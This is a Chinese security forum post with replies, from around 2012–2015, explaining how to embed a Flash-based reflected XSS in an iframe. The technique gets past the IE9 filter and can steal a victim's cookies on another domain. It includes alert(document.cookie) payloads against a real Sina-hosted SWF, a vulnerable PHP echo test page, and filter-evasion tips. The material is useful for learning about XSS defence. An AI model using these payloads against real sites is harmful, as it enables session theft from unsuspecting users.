基于flash的反射型xss的利用方法

  • A+
所属分类:WooYun-Zone

昨天在测试WEBQQ的时候,利用了这个,回头又在本地测试了一下。

—————————————————-

在本地 localhost建一个页面,进行了以下测试。

通过iframe调用传统的反射型XSS,因为iframe页面不同域,被IE9过滤器过滤掉,不执行。

<code>

<iframe/src=”http://xsst.sinaapp.com/example/1-1.php?page=<script>alert(document.cookie)</script>”>

</code>

如果用普通的embed来嵌入FLASH的话,则弹出的是 localhost,即当前测试网页的cookies

IE下测试:chrome会崩溃.

<code>

<embed/src=”http://data.house.sina.com.cn/images/price_trend/open-flash-chart.swf?get-data=(function(){location.href=%22javascript:’<script>alert(document.cookie)</script>’%22})()”allowscriptaccess=”always”></embed>

</code>

但是用iframe来嵌入FLASH XSS的话,就有意思了

测试代码如下(IE):

<iframe/src=”http://data.house.sina.com.cn/images/price_trend/open-flash-chart.swf?get-data=(function(){location.href=%22javascript:’<script>alert(document.cookie)</script>’%22})()”></iframe>

在chrome中,可能会导致浏览器崩溃,可以改用以下代码。

<iframe/src=”http://data.house.sina.com.cn/images/price_trend/open-flash-chart.swf?get-data=(function(){alert(document.cookie)})()”></iframe>

运行你会发现,弹出的是新浪域的cookies~

——————————————

因此当我们发现 www.A.com 域名下的一个flash XSS

我们可以在 www.B.com域名下用iframe嵌入www.A.com的flash XSS文件。

当受害者,打开了www.B.com的域名时,我们可以成功获取其在www.A.com的cookies数据!

这样一来,攻击就变得更加隐蔽啦~

  1. 1#

    livers (如梦似幻) | 2012-06-08 17:12

    这个跟flash的跨域有关

  2. 2#

    xsser | 2012-06-08 17:14

    @gainover 还可以避开那个xss filter是相当不错的啦

  3. 3#

    _Evil (科普是一种公益行为) | 2012-06-21 17:49

    厉害

  4. 4#

    rayh4c | 2012-06-21 17:51

    不错,咱也是这么用的 – -

  5. 5#

    saga (这个家伙很懒,什么东西都没穿。) | 2012-06-28 20:24

    碉堡了

  6. 6#

    冷冷的夜 (1) | 2012-06-29 09:57

    膜拜楼主

  7. 7#

    _Evil (科普是一种公益行为) | 2012-06-29 10:49

    就是百度贴吧那个原理。。 这个和浏览器直接关系吧

  8. 8#

    冷冷的夜 (1) | 2012-06-29 10:59

    @_Evil 嗯,看到了,学习了

  9. 9#
    感谢(1)

    d4rkwind | 2012-07-19 09:48

    不是跨域。

  10. 10#

    d4rkwind | 2012-07-19 09:51

    @d4rkwind 不过思路真赞 膜拜

  11. 11#

    king | 2012-07-19 19:22

    ie9用规则符号可以绕过执行!!!

  12. 12#

    cnrstar (Be My Personal Best!) | 2012-08-18 11:42

    老大说这是iframe的特性,默认就是这个样子的。。o(╯□╰)o

  13. 13#

    情深 (ส็็็็็็็็็็็็็็็็็็็็็็็็็) | 2012-08-19 23:19

    这里有提到
    https://www.owasp.org/index.php/Testing_for_Cross_site_flashing_%28OWASP-DV-004%29#The_Test

  14. 14#

    random_ (精神的最高境界是自由) | 2012-08-22 00:36

    ★<embed src=””>也可以完成,而且<embed>是新的html5标签,很多过滤工具不把它算在内,<iframe>、<script>等是臭名昭著了。
    ★<embed>是不闭合标签严格的话,<embed />即可,比闭合的<iframe>更方便、占地小,<iframe>不闭合也可以,但会屏蔽它后面内容的显示,
    ★<embed>可以嵌入图片、视频、音频、数据(js文件、txt)等很多资源,现在很多博客、网站的flash就是用它显示的,基于img、flash的xss就很方便利用,
    ★关于<embed>跨域,详见,http://tmxk.org/thread-505-1-1.html

  15. 15#

    小贱人 (资深菜鸟) | 2013-07-22 22:17

    楼主碉堡了

  16. 16#

    Windy (搬砖的) | 2013-07-23 09:12

    思路+1

  17. 17#

    laterain | 2013-07-23 09:35

    测试了一下,发现这个利用的话可以不限于flash,反射型的都行
    原理是浏览器的xss filter不会过滤页面本来的代码
    xx.html
    <iframe src=’http://127.0.0.1/xsstest.php?xss=<script>alert(1)</script>’>

    xsstest.php
    <?php
      $xss = $_GET['xss'];
      echo $xss;
    ?>

    访问xx.html
    这样IE9下弹了,Chrome没弹,看来Chrome要先进点啊

  18. 18#

    A1u1st | 2013-08-12 16:14

    chorm用的就是IE的内核- – 尼玛。。。我也发现总是不弹~IE8 9 10在选项都能设置- – 尼玛蛋

  19. 19#

    her0ma | 2013-12-31 14:29

    应该是crossdomain.xml没有做好限制吧 正常情况下不能跨域的吧?

  20. 20#

    Coner ([马甲?]) | 2014-12-06 11:51

    这里的弹出事件在新浪域,不过确实可以让利用场景隐蔽很多,赞!

  21. 21#

    剁刀 | 2015-03-09 17:00

    A域下有一个反射型的XSS,正常情况下只要用iframe挂在别处即可实现隐蔽的xss。现在A域设置了X-Frame-Options为deny,大家讨论一下有什么比较好的方法实现隐蔽的xss?

  22. 22#

    BeenQuiver | 2015-05-01 09:47

    碉堡啦